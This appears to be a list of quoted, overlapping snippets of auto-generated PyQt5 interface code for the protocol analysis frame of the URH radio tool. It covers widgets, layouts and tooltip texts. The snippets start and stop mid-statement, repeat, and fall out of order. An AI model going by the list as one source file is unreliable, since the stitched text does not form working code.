"= QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxShowOnlyDiffs.setObjectName(\"chkBoxShowOnlyDiffs\") self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy",
"FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter =",
"self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth()) self.btnNextSearch.setSizePolicy(sizePolicy) self.btnNextSearch.setMaximumSize(QtCore.QSize(20,",
"self.lDecimalSelection.setReadOnly(True) self.lDecimalSelection.setObjectName(\"lDecimalSelection\") self.horizontalLayout_3.addWidget(self.lDecimalSelection) spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem1) self.lNumSelectedColumns = QtWidgets.QLabel(self.frame_3)",
"= QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_2.setObjectName(\"frame_2\") self.verticalLayout_4 = QtWidgets.QVBoxLayout(self.frame_2) self.verticalLayout_4.setObjectName(\"verticalLayout_4\") self.splitter_2 = QtWidgets.QSplitter(self.frame_2) self.splitter_2.setOrientation(QtCore.Qt.Horizontal)",
"diffs in protocol\")) self.chkBoxOnlyShowLabelsInProtocol.setText(_translate(\"FAnalysis\", \"Show only labels in protocol\")) self.btnAnalyze.setText(_translate(\"FAnalysis\", \"Analyze\")) self.lineEditSearch.setPlaceholderText(_translate(\"FAnalysis\", \"Search",
"ProtocolLabelListView from urh.ui.views.ProtocolTableView import ProtocolTableView from urh.ui.views.ProtocolTreeView import ProtocolTreeView from . import urh_rc",
"1, 1) self.verticalLayout_3.addLayout(self.gridLayout_2) self.tblViewProtocol = ProtocolTableView(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblViewProtocol.sizePolicy().hasHeightForWidth())",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True) FAnalysis.setFrameShape(QtWidgets.QFrame.StyledPanel) FAnalysis.setFrameShadow(QtWidgets.QFrame.Raised) FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\")",
"self.cbDecoding = QtWidgets.QComboBox(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.cbDecoding.sizePolicy().hasHeightForWidth()) self.cbDecoding.setSizePolicy(sizePolicy) self.cbDecoding.setSizeAdjustPolicy(QtWidgets.QComboBox.AdjustToContents) self.cbDecoding.setObjectName(\"cbDecoding\")",
"self.horizontalLayout_3.addWidget(self.lHex) self.lHexSelection = QtWidgets.QLineEdit(self.frame_3) self.lHexSelection.setMaximumSize(QtCore.QSize(16777215, 20)) self.lHexSelection.setAcceptDrops(False) self.lHexSelection.setReadOnly(True) self.lHexSelection.setObjectName(\"lHexSelection\") self.horizontalLayout_3.addWidget(self.lHexSelection) self.lDecimal = QtWidgets.QLabel(self.frame_3)",
"0)) icon = QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy",
"desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0,",
"QtWidgets.QHBoxLayout() self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\") self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy)",
"self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype",
"self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True) self.tblLabelValues.verticalHeader().setVisible(False) self.gridLayout.addWidget(self.tblLabelValues, 1, 1, 2, 1)",
"QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\") self.horizontalLayout.addWidget(self.btnMessagetypeSettings) self.btnAddMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-add\")",
"\"Manchester II\")) self.cbDecoding.setItemText(3, _translate(\"FAnalysis\", \"Differential Manchester\")) self.cbDecoding.setItemText(4, _translate(\"FAnalysis\", \"...\")) self.lEncodingErrors.setText(_translate(\"FAnalysis\", \"Decoding errors for",
"self.lblLabelValues.setAlignment(QtCore.Qt.AlignCenter) self.lblLabelValues.setObjectName(\"lblLabelValues\") self.gridLayout.addWidget(self.lblLabelValues, 0, 1, 1, 1) self.horizontalLayout = QtWidgets.QHBoxLayout() self.horizontalLayout.setObjectName(\"horizontalLayout\") self.cbMessagetypes =",
"self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setShowGrid(False) self.tblViewProtocol.setGridStyle(QtCore.Qt.NoPen) self.tblViewProtocol.setSortingEnabled(False) self.tblViewProtocol.setWordWrap(False) self.tblViewProtocol.setCornerButtonEnabled(False)",
"self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\")) self.cbDecoding.setItemText(1, _translate(\"FAnalysis\", \"Manchester\")) self.cbDecoding.setItemText(2,",
"FAnalysis): FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus)",
"= QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lDecodingErrorsValue.sizePolicy().hasHeightForWidth()) self.lDecodingErrorsValue.setSizePolicy(sizePolicy) self.lDecodingErrorsValue.setObjectName(\"lDecodingErrorsValue\") self.verticalLayout.addWidget(self.lDecodingErrorsValue) self.labelDecodingState = QtWidgets.QLabel(self.scrollAreaWidgetContents) self.labelDecodingState.setObjectName(\"labelDecodingState\")",
"self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)",
"= QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 = QtWidgets.QFrame(self.splitter) self.frame_2.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_2.setFrameShadow(QtWidgets.QFrame.Raised)",
"self.btnSaveProto.setText(_translate(\"FAnalysis\", \"Save current protocol..\")) self.label_4.setText(_translate(\"FAnalysis\", \"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0,",
"self.lblRSSI.setObjectName(\"lblRSSI\") self.gridLayout_2.addWidget(self.lblRSSI, 0, 11, 1, 1) self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2,",
"\"Participants:\")) self.cbProtoView.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>Set the desired view here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\"))",
"font-weight:600;\\\">Start</span> is the point in time when a protocol message begins. Additionally the",
"FAnalysis.setObjectName(\"FAnalysis\") FAnalysis.resize(1372, 907) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(FAnalysis.sizePolicy().hasHeightForWidth()) FAnalysis.setSizePolicy(sizePolicy) FAnalysis.setFocusPolicy(QtCore.Qt.ClickFocus) FAnalysis.setAcceptDrops(True)",
"self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.treeViewProtocols.sizePolicy().hasHeightForWidth()) self.treeViewProtocols.setSizePolicy(sizePolicy) self.treeViewProtocols.setAcceptDrops(True) self.treeViewProtocols.setDragEnabled(True)",
"self.gridLayout_2.addWidget(self.lSearchTotal, 0, 6, 1, 1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)",
"1, 1) self.btnNextSearch = QtWidgets.QToolButton(self.frame_3) self.btnNextSearch.setEnabled(False) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnNextSearch.sizePolicy().hasHeightForWidth())",
"self.scrollArea.setObjectName(\"scrollArea\") self.scrollAreaWidgetContents = QtWidgets.QWidget() self.scrollAreaWidgetContents.setGeometry(QtCore.QRect(0, 0, 320, 514)) self.scrollAreaWidgetContents.setObjectName(\"scrollAreaWidgetContents\") self.verticalLayout = QtWidgets.QVBoxLayout(self.scrollAreaWidgetContents) self.verticalLayout.setContentsMargins(0,",
"1, 1, 1) self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1, 1) self.btnPrevSearch",
"self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.cbDecoding.addItem(\"\") self.verticalLayout.addWidget(self.cbDecoding) self.lEncodingErrors = QtWidgets.QLabel(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"\"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the average signal",
"Rightclick -> Edit.\")) self.lblLabelValues.setText(_translate(\"FAnalysis\", \"Label values for message\")) self.btnMessagetypeSettings.setToolTip(_translate(\"FAnalysis\", \"Settings for message type\"))",
"0, 12, 1, 1) self.label_3 = QtWidgets.QLabel(self.frame_3) self.label_3.setAlignment(QtCore.Qt.AlignRight|QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) self.label_3.setObjectName(\"label_3\") self.gridLayout_2.addWidget(self.label_3, 0, 13, 1,",
"style=\\\" font-weight:600;\\\">Start</span> is the point in time when a protocol message begins. Additionally",
"sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\") self.gridLayout_2.addWidget(self.btnPrevSearch, 0, 3,",
"power of the current message.</p></body></html>\")) self.lblRSSI.setText(_translate(\"FAnalysis\", \"1.04\")) self.label_3.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message Start</span>",
"is shown.</p></body></html>\")) self.label_3.setText(_translate(\"FAnalysis\", \"Timestamp:\")) self.lTime.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Message</span><span style=\\\" font-weight:600;\\\">Start</span> is the",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lSearchCurrent.sizePolicy().hasHeightForWidth()) self.lSearchCurrent.setSizePolicy(sizePolicy) self.lSearchCurrent.setStyleSheet(\"QLabel\\n\" \"{\\n\" \" qproperty-alignment: AlignCenter;\\n\" \"}\") self.lSearchCurrent.setObjectName(\"lSearchCurrent\") self.gridLayout_2.addWidget(self.lSearchCurrent, 0,",
"type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your estimations for protocol fields here. To add custom field",
"= QtWidgets.QVBoxLayout(self.frame_3) self.verticalLayout_3.setObjectName(\"verticalLayout_3\") self.gridLayout_2 = QtWidgets.QGridLayout() self.gridLayout_2.setObjectName(\"gridLayout_2\") self.lineEditSearch = QtWidgets.QLineEdit(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding,",
"\"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\"))",
"message.</p></body></html>\")) self.label_2.setText(_translate(\"FAnalysis\", \"RSSI:\")) self.lblRSSI.setToolTip(_translate(\"FAnalysis\", \"<html><head/><body><p>The <span style=\\\" font-weight:600;\\\">Received Signal Strength Indicator</span> indicates the",
"QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnAnalyze.sizePolicy().hasHeightForWidth())",
"self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\", \"Message type:\")) self.listViewLabelNames.setToolTip(_translate(\"FAnalysis\", \"Manage your",
"self.lBits = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lBits.sizePolicy().hasHeightForWidth()) self.lBits.setSizePolicy(sizePolicy) self.lBits.setMaximumSize(QtCore.QSize(16777215, 15))",
"QtWidgets.QFrame(self.splitter) self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame.setFrameShadow(QtWidgets.QFrame.Raised) self.frame.setObjectName(\"frame\") self.gridLayout = QtWidgets.QGridLayout(self.frame) self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame) sizePolicy =",
"= QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lblLabelValues.sizePolicy().hasHeightForWidth()) self.lblLabelValues.setSizePolicy(sizePolicy) font = QtGui.QFont()",
"FAnalysis.setLineWidth(1) FAnalysis.setMidLineWidth(0) self.verticalLayout_2 = QtWidgets.QVBoxLayout(FAnalysis) self.verticalLayout_2.setObjectName(\"verticalLayout_2\") self.splitter = QtWidgets.QSplitter(FAnalysis) self.splitter.setOrientation(QtCore.Qt.Vertical) self.splitter.setObjectName(\"splitter\") self.frame_2 =",
"0, 3, 1, 1) self.lSearchCurrent = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0)",
"(+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\", \"0\")) self.lColumnsSelectedText.setText(_translate(\"FAnalysis\", \"Column(s) selected\")) self.label.setText(_translate(\"FAnalysis\",",
"QtWidgets.QComboBox(self.frame) self.cbMessagetypes.setEditable(True) self.cbMessagetypes.setInsertPolicy(QtWidgets.QComboBox.NoInsert) self.cbMessagetypes.setObjectName(\"cbMessagetypes\") self.horizontalLayout.addWidget(self.cbMessagetypes) self.btnMessagetypeSettings = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"preferences-other\") self.btnMessagetypeSettings.setIcon(icon) self.btnMessagetypeSettings.setObjectName(\"btnMessagetypeSettings\")",
"sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_4.sizePolicy().hasHeightForWidth()) self.frame_4.setSizePolicy(sizePolicy) self.frame_4.setFrameShape(QtWidgets.QFrame.StyledPanel) self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised) self.frame_4.setObjectName(\"frame_4\") self.verticalLayout_8 = QtWidgets.QVBoxLayout(self.frame_4) self.verticalLayout_8.setObjectName(\"verticalLayout_8\") self.scrollArea =",
"self.line_2 = QtWidgets.QFrame(self.frame_3) self.line_2.setFrameShape(QtWidgets.QFrame.VLine) self.line_2.setFrameShadow(QtWidgets.QFrame.Sunken) self.line_2.setObjectName(\"line_2\") self.gridLayout_2.addWidget(self.line_2, 0, 12, 1, 1) self.label_3 =",
"self.gridLayout_2.addWidget(self.btnSearchSelectFilter, 0, 1, 1, 1) self.lFilterShown = QtWidgets.QLabel(self.frame_3) self.lFilterShown.setObjectName(\"lFilterShown\") self.gridLayout_2.addWidget(self.lFilterShown, 0, 2, 1,",
"self.gridLayout_2.addItem(spacerItem, 0, 8, 1, 1) self.line = QtWidgets.QFrame(self.frame_3) self.line.setFrameShape(QtWidgets.QFrame.VLine) self.line.setFrameShadow(QtWidgets.QFrame.Sunken) self.line.setObjectName(\"line\") self.gridLayout_2.addWidget(self.line, 0,",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.btnPrevSearch.sizePolicy().hasHeightForWidth()) self.btnPrevSearch.setSizePolicy(sizePolicy) self.btnPrevSearch.setMaximumSize(QtCore.QSize(20, 16777215)) icon = QtGui.QIcon.fromTheme(\"go-previous\") self.btnPrevSearch.setIcon(icon) self.btnPrevSearch.setObjectName(\"btnPrevSearch\")",
"here.</p></body></html>\")) self.cbProtoView.setItemText(0, _translate(\"FAnalysis\", \"Bits\")) self.cbProtoView.setItemText(1, _translate(\"FAnalysis\", \"Hex\")) self.cbProtoView.setItemText(2, _translate(\"FAnalysis\", \"ASCII\")) self.cbDecoding.setItemText(0, _translate(\"FAnalysis\", \"NRZ\"))",
"self.horizontalLayout.addWidget(self.btnAddMessagetype) self.btnRemoveMessagetype = QtWidgets.QToolButton(self.frame) icon = QtGui.QIcon.fromTheme(\"list-remove\") self.btnRemoveMessagetype.setIcon(icon) self.btnRemoveMessagetype.setObjectName(\"btnRemoveMessagetype\") self.horizontalLayout.addWidget(self.btnRemoveMessagetype) self.gridLayout.addLayout(self.horizontalLayout, 1, 0,",
"QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.tblLabelValues.sizePolicy().hasHeightForWidth()) self.tblLabelValues.setSizePolicy(sizePolicy) self.tblLabelValues.setAlternatingRowColors(True) self.tblLabelValues.setShowGrid(False) self.tblLabelValues.setObjectName(\"tblLabelValues\") self.tblLabelValues.horizontalHeader().setVisible(True) self.tblLabelValues.horizontalHeader().setCascadingSectionResizes(False) self.tblLabelValues.horizontalHeader().setDefaultSectionSize(150) self.tblLabelValues.horizontalHeader().setStretchLastSection(True)",
"message is shown.</p></body></html>\")) self.lTime.setText(_translate(\"FAnalysis\", \"0 (+0)\")) self.lBits.setText(_translate(\"FAnalysis\", \"Bit:\")) self.lHex.setText(_translate(\"FAnalysis\", \"Hex:\")) self.lDecimal.setText(_translate(\"FAnalysis\", \"Decimal:\")) self.lNumSelectedColumns.setText(_translate(\"FAnalysis\",",
"self.lBitsSelection.setReadOnly(True) self.lBitsSelection.setObjectName(\"lBitsSelection\") self.horizontalLayout_3.addWidget(self.lBitsSelection) self.lHex = QtWidgets.QLabel(self.frame_3) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.lHex.sizePolicy().hasHeightForWidth())",
"1) self.verticalLayout_2.addWidget(self.splitter) self.retranslateUi(FAnalysis) self.stackedWidgetLogicAnalysis.setCurrentIndex(0) QtCore.QMetaObject.connectSlotsByName(FAnalysis) def retranslateUi(self, FAnalysis): _translate = QtCore.QCoreApplication.translate FAnalysis.setWindowTitle(_translate(\"FAnalysis\", \"Frame\"))",
"QtGui.QIcon.fromTheme(\"document-save\") self.btnSaveProto.setIcon(icon) self.btnSaveProto.setToolButtonStyle(QtCore.Qt.ToolButtonIconOnly) self.btnSaveProto.setObjectName(\"btnSaveProto\") self.horizontalLayout_2.addWidget(self.btnSaveProto) self.verticalLayout.addLayout(self.horizontalLayout_2) self.treeViewProtocols = ProtocolTreeView(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Preferred)",
"self.verticalLayout.addWidget(self.chkBoxShowOnlyDiffs) self.chkBoxOnlyShowLabelsInProtocol = QtWidgets.QCheckBox(self.scrollAreaWidgetContents) self.chkBoxOnlyShowLabelsInProtocol.setObjectName(\"chkBoxOnlyShowLabelsInProtocol\") self.verticalLayout.addWidget(self.chkBoxOnlyShowLabelsInProtocol) self.btnAnalyze = QtWidgets.QToolButton(self.scrollAreaWidgetContents) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)",
"self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\") self.gridLayout.addWidget(self.label, 0, 0, 1, 1) self.tblLabelValues = LabelValueTableView(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding,",
"self.gridLayout.setObjectName(\"gridLayout\") self.label = QtWidgets.QLabel(self.frame) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setObjectName(\"label\")",
"self.lineEditSearch.setClearButtonEnabled(True) self.lineEditSearch.setObjectName(\"lineEditSearch\") self.gridLayout_2.addWidget(self.lineEditSearch, 0, 0, 1, 1) self.btnSearchSelectFilter = QtWidgets.QToolButton(self.frame_3) self.btnSearchSelectFilter.setPopupMode(QtWidgets.QToolButton.MenuButtonPopup) self.btnSearchSelectFilter.setToolButtonStyle(QtCore.Qt.ToolButtonTextOnly) self.btnSearchSelectFilter.setObjectName(\"btnSearchSelectFilter\")",
"self.tblViewProtocol.setSizePolicy(sizePolicy) self.tblViewProtocol.setAcceptDrops(True) self.tblViewProtocol.setAutoFillBackground(True) self.tblViewProtocol.setFrameShape(QtWidgets.QFrame.NoFrame) self.tblViewProtocol.setFrameShadow(QtWidgets.QFrame.Sunken) self.tblViewProtocol.setLineWidth(1) self.tblViewProtocol.setAutoScroll(True) self.tblViewProtocol.setDragDropMode(QtWidgets.QAbstractItemView.DropOnly) self.tblViewProtocol.setAlternatingRowColors(True) self.tblViewProtocol.setSelectionMode(QtWidgets.QAbstractItemView.ExtendedSelection) self.tblViewProtocol.setTextElideMode(QtCore.Qt.ElideNone) self.tblViewProtocol.setVerticalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel) self.tblViewProtocol.setHorizontalScrollMode(QtWidgets.QAbstractItemView.ScrollPerPixel)",
